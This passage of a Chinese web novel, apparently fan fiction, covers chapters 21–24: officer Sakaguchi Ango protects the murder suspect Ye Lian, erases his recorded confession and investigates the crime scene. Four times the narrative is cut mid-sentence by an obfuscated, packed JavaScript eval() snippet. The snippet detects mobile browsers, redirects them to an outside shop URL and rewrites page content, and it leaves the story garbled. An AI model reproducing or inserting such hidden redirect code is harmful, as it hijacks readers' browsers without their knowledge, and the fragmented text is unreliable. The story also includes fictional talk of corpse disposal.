要不是之前咬人被砍了一刀,要不是他在电梯里哼了一小段歌,要不是玩家的love思维告诉他,咬一口不仅无法提升实力,还会死一次让称号喜减一…… 他这会儿真的无法控制。 好歹打声招呼吧! 一般而言,人在幼年时期,都会被家长教导说不能啃手手。 结果长官自己是不啃,把手直接塞给他了啊! 这谁忍得住。 也就他这般在生死线上反复横跳,意志强大得惊人的奇男子能忍住了! “不过,长官……这回真的要多谢你。” 在孤立无援的时候,对他施以援手。 在所有人都恐惧他、厌恶他的时候,坚定地相信他。 不管是出于什么目的…… 都值得一声感谢。 叶涟抬起头,故作害羞,“你想要我做什么我都会答应的。只要管饭,就算让我以身相许都可以哦……” “?这种脑回路真的是人类吗?”一名护卫低声吐槽。 “……你先闭嘴。” 安吾制止了叶涟继续语出惊人。 他重新望向三浦,抬起手,展示了一下自己完好无损的手指。 “三浦君,这样就能证明,十六夜君不是伪人了吧?” “……这只能说明,伪人一直在进化,他比高级伪人更高级一点而已。”三浦不屑道。 他确实没想到,坂口安吾敢直接把手伸过去。 这个平日里冷静得可怕的家伙,疯起来是真的不怕死…… 还有十六夜涟…… 三浦看着叶涟微微颤抖的身体。 常与伪人打交道的他,知道那根本不是恐惧,而是兴奋! 强烈的、因人类的生命而无法抑制的兴奋! “难道你是想说,他是高级伪人之上的那个存在?” 安吾道,“如果是那种等级的伪人,不可能被两个侦探社社员轻松抓住,让我们不费一兵一卒地带回来。” 三浦陷入了短暂的沉默。 安吾这句话,他找不出能够驳斥的逻辑漏洞。 实际上,即使是高级伪人,也极其狡猾,不可能像侦探社社员汇报的那样,站在屋里束手就擒。 “如果他有某种阴谋,需要来局里,就说得通了。”三浦语气平复了点,但依然生硬。 他的枪口,也一直指着叶涟,就仿佛开了自动跟随一样。 “你这是无端臆测。”安吾不赞同地说。 “为了民众的安全,再多的推测也不为过。”三浦道。 安吾向叶涟那边靠了靠,挡在了枪口与叶涟之间。 “如果是主观的错误臆测,只会伤害到民众……” “别和我扯这些!” 三浦看着安吾站到自己的枪口前,不知想到什么,语气再度变得恶劣。 他打断了安吾的话,音量再度抬高: “你是非要保下他咯?” “没错。”安吾说。 “为什么?” “没有为什么。”安吾毫不迟疑地回答。 “哈……” 三浦盯着安吾的眼睛看了几秒,竟是笑了起来。 “坂口安吾。” 他直呼了安吾的全名,声音和淬了冰一般。 “我之前只是气话,但我现在怀疑,你确实也是伪人。那些妄想潜入进来的怪物,其实没有被全部杀死,而是有一部分成功潜进局里了啊!” “仇恨蒙蔽了你的眼睛,三浦君。”安吾轻轻摇了摇头。 “我就讨厌你这种好像什么都知道,但又什么都无可奉告的模样!” 三浦深吸一口气,他的枪口,赫然顶上了安吾的肩膀! “青木……他明明也是你的下属!” “……” 这回,安吾没能再去冷静地陈述什么。 他的嘴唇无意识地翕动着,又紧紧地抿上。 “青木是被你们派去执行任务死掉的!我那时……我就不应该放他去你们情报部!” 三浦眼角发红地盯着安吾。 “现在人死了,甚至没能留下全尸!他父母问我,他们孩子是怎么死的……我除了说一句因公牺牲,什么都没法回答。” 护卫上前来,想阻止三浦的行为,被安吾抬手拦住。 他静静地看着三浦,没有做任何反抗或躲避的动作。 就如同心甘情愿地接受了审判。 见此,三浦心中的怒火反而更加汹涌。 “你……你不是很厉害吗?你不是什么都知道吗?你继续反驳我啊、你继续解释啊?你怎么能这样平静、怎么能一点儿痛苦都没有?你怎么能……怎么能这样包庇凶手?!” 说到最后,他几乎是咆哮着质问。 三浦手中的枪支晃动着,用力抵着安吾的肩膀,手也随着激愤的情绪抬了起来。 但最后,他还是没有去碰安吾,只是怨愤地将手用力向旁划下,像是拍打着虚无的敌人。 情绪在空气中飘浮着,如泡沫般支离破碎。 “……” 安吾闭了闭眼睛。 他伸出手,再度握住了枪管。 枪口缓缓偏移,却不是移开它,而是让它从抵在肩膀处……变成了抵在心脏前! “开枪吧。”安吾平静地抬眼。 “什么……” 三浦愕然地瞪着他。 疯了,真是疯了…… 这个疯子……! “局里可以有观点的分歧,但不能有仇恨。” 安吾轻轻地笑了笑,“会变成重大的隐患。” 叶涟上前,手搭在安吾的肩膀上,想将他拽离枪口的范围。 但安吾纹丝不动,他没法像安吾拉起他一样,拉起安吾。 叶涟歪了歪头,注视着这位长官的侧脸。 一直都是别人无法理解他的思维,但此刻,叶涟破天荒地有种自己无法理解他人的感觉。 很难想象,为什么这种时候,安吾能笑得出来。 那是一种似乎很无谓、又或是很倦怠的笑容,浅淡得像苍白的游云。 “情报部和行动部,一直是需要紧密配合的部门。若是三浦君仇视我,对我有怨气……还是趁早开枪,有个了断比较好。” 安吾仿佛没有感情地微笑道,“免得在关键的时候,爆发出来……” “你以为我是会因为情绪误事的人吗?!”三浦狠狠地使力,收回了枪。 “我自然是相信三浦君的。” 安吾轻声道,“只是三浦君不相信我。” “……你这种人不值得相信。” 三浦面无表情地注视着他,声音沙哑: “你把青木派去送死、你也是杀了他的凶手。” 空气一下子如死一般寂静。 安吾一动不动地站在原地,没有再说话。 他就好像一尊冷却凝固的灰白蜡像。 在空旷的大厅中,独自承载着,某种沉重的东西。 或随时会被一场汹涌的火焰吞噬。 “坂口参事官……”两个护卫围过来。 安吾摇了摇头,示意他们不必担心。 三浦冷哼一声,转移了视线,阴鸷地望向叶涟: “我会一直盯着你的。” “喔……” 叶涟看了他一眼,发出一道无意义的声音。 意思就是暂时放过自己咯? 也许是被安吾震慑到,也许是想不出更合适的带走叶涟的理由,三浦没有再做出更激烈的举动。 他的目光在叶涟和安吾之间游移,向身边的同伴招了招手。 两个武装人员,朝大厅过去的走廊一侧离开。 趁三浦走过去背对着自己,但身影还看得见,叶涟赶紧朝他的背影做了个鬼脸。 呵,在嚣张什么,他可是有系统的人。 虽然他还没能完全看懂系统的字,但有句话说得好—— 三十年河东,三十年河西,莫欺少年穷! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145562|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他成长起来,还不知道是谁不放过谁呢! 一旁的安吾看着做鬼脸的叶涟:……? “坂口长官,你别听他尽说些屁话。” 叶涟扬起一张笑脸,凑过去。 “长官才不是什么凶手呢,我相信长官!” 两个护卫虽然心中很赞同叶涟的话,但出于叶涟身上隐藏的危险性,依然默默地将其拦住,阻止其贴得太近。 安吾瞥了他一眼。 “……那是因为你才是凶手。” “这……长官,你听我狡辩!”叶涟的鞋子无意识蹭着地板。 “好,你说吧。”安吾道。 “……诶?” 叶涟没想到安吾真的会给自己辩解的机会,不可思议地看着他。 “再不说的话,我就得把你重新关回去了。” 安吾转身,往电梯方向走去。 叶涟快步走在他身边,两个护卫跟在他们身后。 “那个……” 虽然说有了解释的机会,但叶涟也无从解释。 十六夜涟的记忆太过混乱。 纵然他一直在努力拼凑青木怜央的死亡现场,但也许是那段记忆太恐怖,或者十六夜涟不愿意面对,关键的信息极其模糊。 比较清晰的,只有十六夜涟确实用绳索绞死了青木怜央。 “长官你是知道我的,我有狂犬病,不可能放着肉不吃。”叶涟道。 两个护卫:……? 解释后反而变得恐怖了啊! “这个说法不对。” 令叶涟和护卫都没想到的是,安吾竟然认真地摇了摇头。 “你是在青木死后,才得的‘狂犬病’,那时,侦探社的社员已经到了你家,因此你没有吃‘肉’的机会。这个理由不成立。” “……长官,你好有本领!” 叶涟惊叹地看着他。 三浦的话有很多都不用听,但有一句说得非常对——安吾真的很厉害! “没用的话就不必多说了。” 安吾的表情很平静,“你还有什么想辩解的吗?” “嗯……” 叶涟舔了舔嘴唇,脸上浮现出一个粲然的笑容。 “经常处理尸体的都知道,男箱女袋,远抛近埋。如果是我杀的人,我一定不会以那种方式处理青木的尸体。” “哦?” 安吾看了看他,“那你会怎么做呢?” “上午时分,侦探社预约来我家拜访,青木是在这之前失踪、死亡,距离侦探社真正来访的夜晚有很长一段时间。显而易见,我拥有的处理尸体的时间很充足。” “那么,在我发现手头没有足够大的箱子与防水布的情况下,我一定会避免分尸致使血迹大面积覆盖家具。” “而如果不做掩饰,‘抛’就会变得很明显。排除抛的选项,剩下的选择就是找个地方,完整将尸体掩埋。” “……邻居家是空置的,翻墙过去埋在他的后院里就是个很好的选择……唔,也可以直接卖到黑市……” 叶涟思索着,无意识地喃喃自语。 护卫听着他的话,表情越发诡异起来。 ??不是? 这家伙在说什么呢……? “你还挺专业啊。”安吾说。 “那是自然。”叶涟笑道。 他好歹也曾经有过午夜屠夫的称号! 虽然思维和能力都没有留下,却是唤醒了一些本就存在于十六夜涟脑海中的小知识。 诶,不对。 叶涟后知后觉地反应过来。 自己好像是在狡辩来着……? “长官、长官你听我说——” 叶涟手忙脚乱地解释,“我只是了解一些常识,违法犯罪的事真不怎么干啊!” 两个护卫面面相觑。 常识说是。 这是正常人能有的想法? 安吾却是浅浅地笑了。 他偏过头,低声和一个护卫说了什么。 护卫诧异地看了他一眼,将一把钥匙交给了他。 安吾拿着钥匙,拉过叶涟的手,低头为他解开了手铐。 ……咦? 叶涟呆呆地看着他。 “地下二楼是职工食堂,带你去那里吃饭。” 安吾将手铐和钥匙交给护卫,轻轻地将手搭在了叶涟的肩上: “表现得正常一点,可以做到吗?” “我……” 叶涟张了张嘴,长吸一口气。 “……保证完成任务,长官!” 22.第22章 三句话让长官请我吃饭是什么样的体验? 谢邀,人在横滨,刚出监狱,已严肃开启饕餮模式疯狂加餐。 自己不用买单,只需埋头苦吃,这种感觉简直—— 爽透了! “唔……长官……我还想再来一份……” 叶涟拿起桌上的味噌汤,将剩余的汤底咕噜咕噜地倒进喉咙,豆腐嚼也不嚼就直接吞下,裙带菜用筷子轻轻一捞,如吸面条般卷入食道。 “你已经吃三份了。” 安吾看了看叶涟面前空空荡荡的碗盘,又低头看了看自己的碗—— 甚至连烧鸟串都没吃完。 不管是速度还是饭量,叶涟都表现得十分惊人。 “因为每份的份量真的很少嘛!”叶涟委屈巴巴地说。 食堂并不是自助的模式,而是一份一份的套餐,包含主菜、小菜、米饭以及味噌汤等。 即便如此,让一位成年人吃饱,也绝对是足够的。 安吾沉默数秒,轻轻点头。 如果让叶涟在这么短的时间内频繁取餐,会很引人注目。 于是他没有把餐券给叶涟,而是自己站起身,再去取了一份炸猪里脊加金枪鱼刺身拼盘套餐。 “我还不想看你撑死,所以这是最后一份。” 安吾将餐盘放在他面前,瞥了一眼叶涟的腹部。 是出于心理压力或精神异常,致使的暴饮暴食,还是…… “谢谢长官!那我多加些汤总没问题吧?” 味噌汤可以免费加,叶涟已经连喝了数碗。 虽然味道并不太咸,但他还是觉得口渴。 胃是胀的,可饥饿感与渴感依然存在。 叶涟很勉强地压下继续进食、以及直接抱着人类啃的强烈冲动,眼巴巴地盯着安吾。 “只能再加一碗。” 安吾重新坐回到他对面,扶了扶眼镜,“等会儿我帮你加。” 哎呀,长官脸上冷冰冰,其实心很软嘛! “长官,你怎么对我这么好……” 叶涟吸了吸鼻子,“好爱你……” “这种话还是对着金枪鱼刺身说吧。”安吾重新拿起自己的筷子。 “都一样啦——” 退一万步说,长官就不能成为金枪鱼刺身吗? 不管是长官本身,还是长官端来的饭。 全都……震撼美味! 叶涟再次风卷残云般将餐食清扫一空。 放下筷子,他就继续眼巴巴地盯着安吾。 “长官,我想……” “刚才说过了是最后一份。” 安吾抬起眼皮,拿了一张餐巾纸,慢慢地擦了擦嘴。 他的进食速度其实也算快的。 尤其是叶涟吃得非常开心,眉眼弯弯,笑意盎然,和现场吃播一样,让旁观的人很有食欲。 和这样的人一起吃饭,安吾的速度不由得也加快了。 奈何,叶涟在吃饭方面堪称一人更比六人强,常人根本没有比较的余地。 “唉呀,我知道,我不是那个意思……” 其实就是那个意思。 叶涟确实是想再加一份。 但安吾如此坚决,他也没有合适的借口继续讨饭。 “我是想……我想叫你‘安吾’~” 安吾手中的动作一顿,“不行。” “为什么?” 叶涟本来只是随便找个理由,见安吾如此果断地拒绝,逆反心和好奇心反而涌了上来。 他想起三浦说过什么,“你这种人不值得相信”…… 叶涟对这句话非常有感触,且很讨厌这句话,因为他自己现在,就是几乎不被任何人信任的人。 但坂口长官为什么会被这样评价呢? 明明是那么好的人、是确凿的人类。 没有他这般异样的思维,也没有难以克制的伤人冲动,更没有被卷入疑似伪人以及杀人的风波中。 难道仅仅因为死去的青木是他的下属,他表现得冷静了点,就要被如此残忍的话攻击? 那也太……太不合适了! “工作的时候称职务。”安吾平静道。 “我可以私下这样称呼——”叶涟笑道。 “没有私下。”安吾的眼眸微垂。 “……什么?” “你最好不要对我有多余的感激。” 安吾站起身,去取了一碗热乎乎的味噌汤,轻轻放在叶涟的身前。 然而他的声音却凉凉的,像刮骨的寒刀。 “你是嫌疑人,是囚犯,之前是,现在也是。我对你做的一切,不管是为你暂时取下手铐,还是请你吃饭,都仅仅是出于不虐待犯人的义务,或者职责上的人道主义。” “……怎么这样,好心碎唷!” 叶涟可怜巴巴地看着他,“可我还是很感谢长官,想要报答你——” “不需要。” 安吾干脆利落地拒绝。 他站在桌边,注视着叶涟,“先把汤喝完,我一会儿有事要问你。” “唉,果然长官保我,也是另有目的呀……” 叶涟低头,端起味噌汤。 不同于此前如倾倒一般灌入喉咙,他克制住干渴的感觉,小口小口地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148434|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿着。 醇厚咸鲜的味道,带着复合的豆香,在口中缓慢地淌过。 他又抬起头,一边如抿茶似的抿着汤,一边笑盈盈地盯着安吾,朝安吾眨眼睛。 就好像尝的不是手中汤,而是眼中人。 “……” 安吾面无表情地伸手托住碗底,稍稍施力,带着叶涟的头朝后仰。 “唔唔咕嘟咕嘟咕嘟……咳咳咳……” 整碗汤一口气喝完,叶涟撇开头,不住地呛咳着。 他正想谴责几句,就见安吾已将碗放下,递了一张纸巾过来。 “长官……” 叶涟接过纸巾,抬起头,眼睛亮晶晶的。 却没有使用,而是小心地折好放进口袋里,自己从桌上抽了一张纸,擦去嘴角的汤汁。 “走了。”安吾别过头去。 “长官长官长官——” 叶涟站起来,飞速地跟上。 “不要用那种眼神盯着我,很恶心。” 几人走进电梯。 安吾瞥了叶涟一眼。 这家伙…… 如果有尾巴的话,恐怕已经摇到飞起了吧。 “长官,我给你唱歌,我唱歌很好听的——” “不需要。”安吾道。 虽然他已经收到“十六夜涟的歌声中似乎有诡异的力量”的情报,也想过亲身体验一下。 但不应该在这种场合。 “那我给我自己唱。”叶涟笑眯眯。 他已经看穿了,安吾并不像其表现出来的那般冷漠。 不唱给安吾听,以后还能唱给谁听? 待在牢房里自娱自乐,他都要憋坏了。 现在正是唱歌的好时机,寄不可失,时不再来! “曾经我是不安河水,穿过森林误入你心,没计划……诶诶诶——” 电梯门打开。 安吾伸手攥住他身前的十字架项链,将他拉出了电梯。 “青木的事,我并不是不在意。” 安吾的视线冷淡地射向叶涟。 他顺势抓住叶涟的衣领,将其按在了电梯旁的墙壁上。 “保下你,只是……不认为你是真凶而已。” “但有一点是确定的,他的死和十六夜涟脱不了干系。” “配合我的工作,不要嬉皮笑脸,否则,你的罪名就很难洗清了。” 叶涟的后背抵着墙壁。 他盯着安吾绿色的眼眸,喉咙动了动。 如此凝望了数秒,叶涟的脸上慢慢绽开一个笑容,抬手朝他做了一个敬礼的动作: “遵命!” 23.第23章 得到叶涟的保证,安吾这才松开手。 几人朝侧门那边走去,安吾向侧门的安保出示了一张许可证。 安保人员接过许可证,仔细看了看,又认真比对了他们的人员数量与面孔,点头打开闸机,放他们通行。 外面是个艳阳天,太阳照得很晃眼。 不过,由于季节介于秋冬之间,寒风吹来,还是会感到轻微的寒冷。 叶涟穿得不厚,除了一件打底衫,就是一件薄的风衣外套。 风吹过来,叶涟冷得原地用力踏了几步,呼了呼手掌心,跟着安吾,上了一辆黑色的车。 他不知道安吾要带他去哪,但跟着长官总没错。 安吾坐在后座,护卫与叶涟之间,上身向后仰靠,闭目养神。 叶涟托着脑袋,歪头看着他。 明明只是二十来岁的模样,却似乎已经有很高的地位…… 眼下有青黑的眼圈,头发也隐隐有几根白色,看来防伪局的工作很繁重。 也能再次证明,坂口安吾确实是个厉害的角色,不是那种尸位素餐的官员。 闭眼进行短暂休息的安吾,总觉得有什么正在注视自己。 他的眼睛睁开一条缝。 入目便是叶涟那张笑脸。 “……你能不能别一直盯着我。”安吾忍无可忍。 “长官是目前为止,我遇到的最好的人。”叶涟笑道。 “只要是给你饭吃,你都这么说。”安吾道。 叶涟想了想,确实没错。 谁叫他太饿了呢。 但是—— “直到现在,也只有长官你给我一口饭。” “小川君呢?” “他骗我。” 叶涟撇了撇嘴,“骗我的算什么人。” 安吾揉了揉眉心,被叶涟这么一打岔,也没了睡意。 他想了想,干脆从外套里拿出了一支录音笔,按下开关。 “十六夜君,我现在根据危险生物对策局的特别调查条例对你展开问询,接下来的问题,希望你能如实回答。” “……?” 怎么突然就开始工作了?! 叶涟震惊地看着安吾,突然意识到自己好像打扰了对方补觉。 “长官……要不您先继续休息?” “你最后一次见到青木怜央是什么时候?”安吾看向他。 完全进入工作状态了啊……! 现在唱一首安眠曲还来得及吗? 但是刚才已经答应了要配合长官工作,现在就反悔的话,会显得他很糟糕! “呃……” 叶涟掰着手指,“大概是……几天前?” “十一月一日的晚上六点到十二点之间,你在哪里,在做什么?” “可能……可能在家吃饭?”叶涟不确定道。 听到这种模棱两可的回答,安吾微微皱了皱眉。 “和谁在一起?” “也许就我一个人。” 叶涟停顿了一下,“好吧,我不知道……我忘记了。” “忘记?” “我的记忆很混乱……” 叶涟举起双手,虚虚地抱住自己的脑袋。 “连今天是几号都不清楚。不过……” 安吾静静地注视着他,等着他说出下文。 叶涟在后座上坐正,垂下头。 黑发轻飘飘地散落,阻隔了他的眼神。 “……如果你说的那个时间段,是青木死亡的时间段……我应该是和他在一起的。” “‘应该’是指?” “我可能勒死了他。” 叶涟的双手交叉着,放在自己的腿上,手指慢慢合拢,“用绳子。” 车中的空气,仿佛瞬间凝结成了黏稠的胶状物质。 护卫的眼睛睁大,震惊地看着叶涟,不知道是震惊于他的杀人事实,还是震惊于他的供认不讳。 安吾抿了抿嘴。 他也没有想到,叶涟竟然会直接认罪。 是觉得坦白从宽? 还是说…… 如此迅速地信任了自己? 他手中的录音笔,发出“滴”的一声轻响。 叶涟偏过头,发现安吾正在删除录音笔里的音频记录。 “……长官?” “我知道了。” 安吾将录音笔关机,塞回到口袋里。 “……你不问了吗?” “你什么都不记得,没有必要再问下去。” 安吾抬了抬眼镜,注视着叶涟的眼睛,重复,或者说强调道: “你什么都不记得。” 叶涟眨眨眼,立即明白了安吾的意思。 长官的工作方法……好灵活! 这么灵活,是防伪局能够允许的?! 不管怎么想,要是被局里知道,安吾肯定会被追责。 到现在,叶涟的脑子就算再如何混乱,也能明白一件事—— 安吾根本不是觉得“他不是杀死青木的真凶”,才保下他。 而是从一开始,就出于某个原因…… 即使冒着被追责停职的风险,也要保护他! 并且……保护他的优先级,甚至要高于青木案的调查! “哎呀,发生什么事,完全想不起来。” 叶涟从善如流。 “之前的事情想不起来,刚才长官做了什么事,也想不起来——脑子像受到了百万辆卡车疯狂冲撞一样,呜哇——砰——啪!变成了一滩液化奶油汤!” ……那是什么奇怪的拟声词和神奇比喻。 安吾懒得理会叶涟这浮夸的描述,看向护卫: “你们也都没听见。” 护卫点了点头。 “长官——” 叶涟的双手捧着自己的脸颊,卖萌道:“你究竟是为什么,对我这么好——” 安吾知道这家伙在试探,无视了他的眼神,偏头看向窗外。 车速经由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152626|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个转弯,逐渐减速。 “长官长官——” 叶涟眯眼笑着,“你是不是对我一见钟情啊?” 车辆骤然停止。 “哎……!” 叶涟猝不及防,身体向前一倒,额头咚地撞到前面的座椅后背,痛得轻轻吸了口气,小声嘀咕: “说中了也没必要物理攻击吧……” 安吾早有防备,坐得很稳,只是上身稍稍前倾。 他看了一眼叶涟。 “我是觉得,你说话做事滴水不漏——可能有利用的价值,或者当情报员的潜质。” 安吾收回视线,从护卫那一侧下了车,“谁知道是因为水全在脑子里。” “……qwq恶语伤涟心!” “少装可怜。” “遵命!” 叶涟钻出车门,跟上安吾。 也就是这时,他突然发现,出现在眼前的建筑非常熟悉。 虽然拉上了“保持距离、禁止进入”的黄黑双色警戒线,门上还贴了封条,且看起来不像夜晚那般阴森。 但叶涟还是能认出…… 这是他家—— 十六夜涟的家! 叶涟的双手环在身前,和安吾几人一起穿过外围的警戒线,却没有继续跟上去。 他盯着屋门,在寒风中半蜷缩着。 对其他人来说,也许会喜欢回家。 可叶涟不一样。 他初到人生地不熟的横滨,就是在这栋房子里苏醒。 之后死了两次,还受到了过量的惊吓。 即使叶涟如今的精神,已在生活的反复捶打下变得富有弹性,甚至因为捶打过度而很是劲道且略有崩坏…… 但他的潜意识中,依然抗拒着接近这里。 “十六夜君。” 安吾站在门前,回头看他。 “来了来了——” 叶涟压下身体中的抗拒本能,扬起一个笑脸,快步跟过去。 安吾却没有立即开门,而是盯着叶涟瞧了数秒,将身上的深灰外套取下,披在了叶涟身上。 叶涟愣了一下。 脸上的笑容,顿时灿烂得如同烈阳下的向日葵: “好神奇,一下子就不冷了,长官你是会魔法吧?!” 安吾正想说什么,叶涟又抢话道: “我知道我知道,只是对嫌疑犯的人道主义关怀,不要有多余的感激——” “……” 安吾看着叶涟那张笑眯眯的脸。 默然一会儿,视线移到了门上: “你的罪名会洗清的。” “诶?” 叶涟眨了眨眼,一时没反应过来他的意思。 “以后你会有合法的身份,也会交到很多的朋友。” 护卫站在最前方,打开了门。 安吾踏进屋中。 “至于我,等这次回去以后,想来也不会与你有更多接触了。所有关于我的事情,你就忘记吧。” 24.第24章 “不要立flag啊长官!” 叶涟像小尾巴一样跟在安吾身后。 “哪里像flag了?” 安吾没有看其他地方,直直地朝沙发走去。 “长官不要装傻,既然能听懂‘立flag’,就不可能不知道——” 叶涟低头看着地板上的现场痕迹固定线,以及带着数字的标牌。 尸体已经被搬走,但还是能够通过白线清晰地看见几具尸体的轮廓。 甚至连门口那具伪人的尸体,都有标记的线条。 “‘等这次回去以后,不会和我接触’……和‘等这次回去以后,我们就回老家结婚’有什么区别!” “不是‘等战争结束后回老家结婚’吗?”安吾问。 “长官你还真的知道啊。” 叶涟绕过白线和标牌。 他后知后觉地想起来,安吾应该也才二十来岁,知道些流行词也正常。 “总之没什么区别,这种话一说出来,就有种回不去的不祥预感,长官以后还是不要说了。” “不,有区别。” 安吾坐到沙发上,“区别在于,我们能够回去,以后我是真的不会和你接触,而你却不会真的回……” 他不知想起了什么,话语停顿了一下,看向叶涟。 “你老家在哪?” 十六夜涟就是横滨人,但是眼前这个“十六夜君”…… 叶涟清了清嗓子,“?我的老家,就住在这个屯——?” “……?” 这歌有力量。 但听不懂。 唱的好,下次不许唱了。 “麻烦你闭嘴一下。”安吾说。 叶涟眨眨眼。 长官让你不要唱歌,你还唱不唱? 你死都得唱! “我——” 刚唱一个字,安吾就打了个手势,示意护卫往叶涟的嘴里塞颗糖果进去。 “唔唔……长官好反复无常哦。” 叶涟嚼着糖果。 咖啡味的,不错不错。 “明明是长官先问的,我只是在很听话地回答问题。” “所以给你一颗糖果奖励。”安吾平静道。 平静中已经带着点疯感了。 “咦?奖励,是奖励?” 分明是为了堵住他的嘴。 叶涟眯着眼睛笑起来,“那能不能有进一步的奖励啊?比如,跳过老家,直接?Oh My Love,咱们结婚吧~?” 又唱……! “你这是进一步吗,已经进到外太空去了吧……” 虽然听不太懂叶涟到底在唱什么,但旋律上明显是情歌。 出现得非常莫名其妙啊! 安吾忍不住吐槽,不过很快,他就意识到不妥—— 他最好还是和叶涟保持距离。 他和叶涟的相处时间不算长,但不管他说出的话如何严肃沉重,叶涟总能笑嘻嘻地将其变得很轻松。 即使他的眼神再如何冷漠,叶涟依然想尝试靠近他。 最重要的是,叶涟那几乎毫无保留的信任…… 以至于,他的思维都差点被拐进沟里。 差点……有一种也许和其正常相处,成为朋友也不错的想法。 然而。 他和叶涟的接触并不纯粹,和“以前”一样,也是源于工作,所以…… 绝对不能成为朋友。 绝对不能扯上工作以外的任何关系。 绝对、绝对……不能重蹈覆辙。 “够了,就此打住,你就站在那里,不要打扰我了。” 安吾的脸冷下来,“等我有话问你,你再如实回答我。” 【检测到与一位图鉴人物关系由“陌生”变更为“熟悉”,获得一次抽牌机会。】 【当前抽牌机会:4】 嗯……? 虽然不知道发生了什么,但是抽牌次数增加了? 叶涟本来还想再打岔,反正他早看透了长官是个文明人,不会拿刀砍他。 但他见系统有异动,便只应了一声,乖巧地点了点头。 一边观察安吾的工作,一边暗自琢磨,系统这抽牌机会到底是按照什么增加的。 似乎也没有发生什么啊…… 他只是唱了唱歌,然后终于将长官的平静表情唱裂开了一点而已。 已经积攒了四次抽牌机会,要不要抽张牌试试呢? 但是距离高级抽牌只有一步之遥,还是再攒攒吧? 安吾见叶涟如此听话,没再挂着笑眯眯的表情,也没再用轻佻的语气说些匪夷所思的话,反而有些不适应。 虽然是他要求的,但叶涟一声不吭地站那…… 总觉得会冷不丁给他整个大事出来。 算了,不想那么多。 还是先调查吧。 青木的尸体以及地面上的“十六夜涟”尸体,都给安吾带来了不少信息。 然而那些信息,太过零碎混乱,不够完整。 信息越多,越接近真相,事关十六夜涟,怎样慎重都不为过。 安吾坐在沙发上,微微垂下头,手按着沙发的坐垫。 ——堕落论。 …… 叶涟只安静了一会儿,就百无聊赖地东张西望起来。 长官坐到沙发上后,轻轻倚靠在那里,便不怎么动弹了,若不是眼睛无焦距地盯着空气,就和闭目养神似的。 莫非这就是长官的工作方式? 据说推理小说里是有一种侦探,叫安眠曲侦探还是安乐死侦探来着,足不出户就能把事办了,通过旁人的叙述就能推测出事情经过…… 难道说,长官也是类似的侦探,有着恐怖如斯的推理能力! “十六夜君,你杀死……青木怜央死亡的那个晚上,站在你侧前方的那个男人,你认识他吗?”安吾突然开口道。 “站在侧前方……” 叶涟揉着额头。 本来他并不太记得,但长官这么一说,好像确实有这么个人。 眼神很凶狠,似乎还有特异的功能。 谁来着。 “类似蜘蛛的异能,能用透明的丝线将人困住并锁定……” 安吾的手指慢慢攥紧,他摇摇晃晃地站起身,注视着客厅中的空地。 他的异能力能够读取物品上的信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157739|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在局里时,他就已经对青木的衣服外套使用过了堕落论。 从衣服的视角看,死亡片段像恐怖故事里的场景,青木莫名动弹不得,无法看出真正死因。 所以他决定来现场一趟。 而从沙发的视角,一切都更为完整清晰。 但也……非常诡异。 怎么会…… 竟然刚好克制了青木的能力…… “对对,我也想起来,好像是这样!” 叶涟吃惊地看着安吾。 “长官,你是那种大隐隐于市的‘沙发神探’吧,参加侦探的推理聚会也绝对不会输!” 真是好厉害! 坐一会儿就推测出了真相,究竟是怎么做到的…… 他在沙发坐那么久,除了饿,完全没别的感觉! 安吾看了他一眼,回过神,手掌缓缓放松。 他这才发现,自己的掌心已经掐出了印子,再攥得紧些,恐怕要破皮出血。 沙发神探是什么奇奇怪怪的称谓…… 以及“侦探的推理聚会”这种东西,一听就很不妙,几乎必定会出事,就算无人生还也不是没有可能……到底谁会参加啊! “青木死前,有和你说什么话吗?”安吾问。 “我想一想。” 叶涟的后背抵在墙上,学着安吾那样凝神细思。 ……什么都没想起来! 可恶,为什么沙发神探的大脑不能分他一半。 不管是用来思索还是用来烤着吃,都多是一件美事。 “长官……” 细细思索了一会儿,没有想起任何有效信息的叶涟神情一动: “你有没有听见什么声音?” 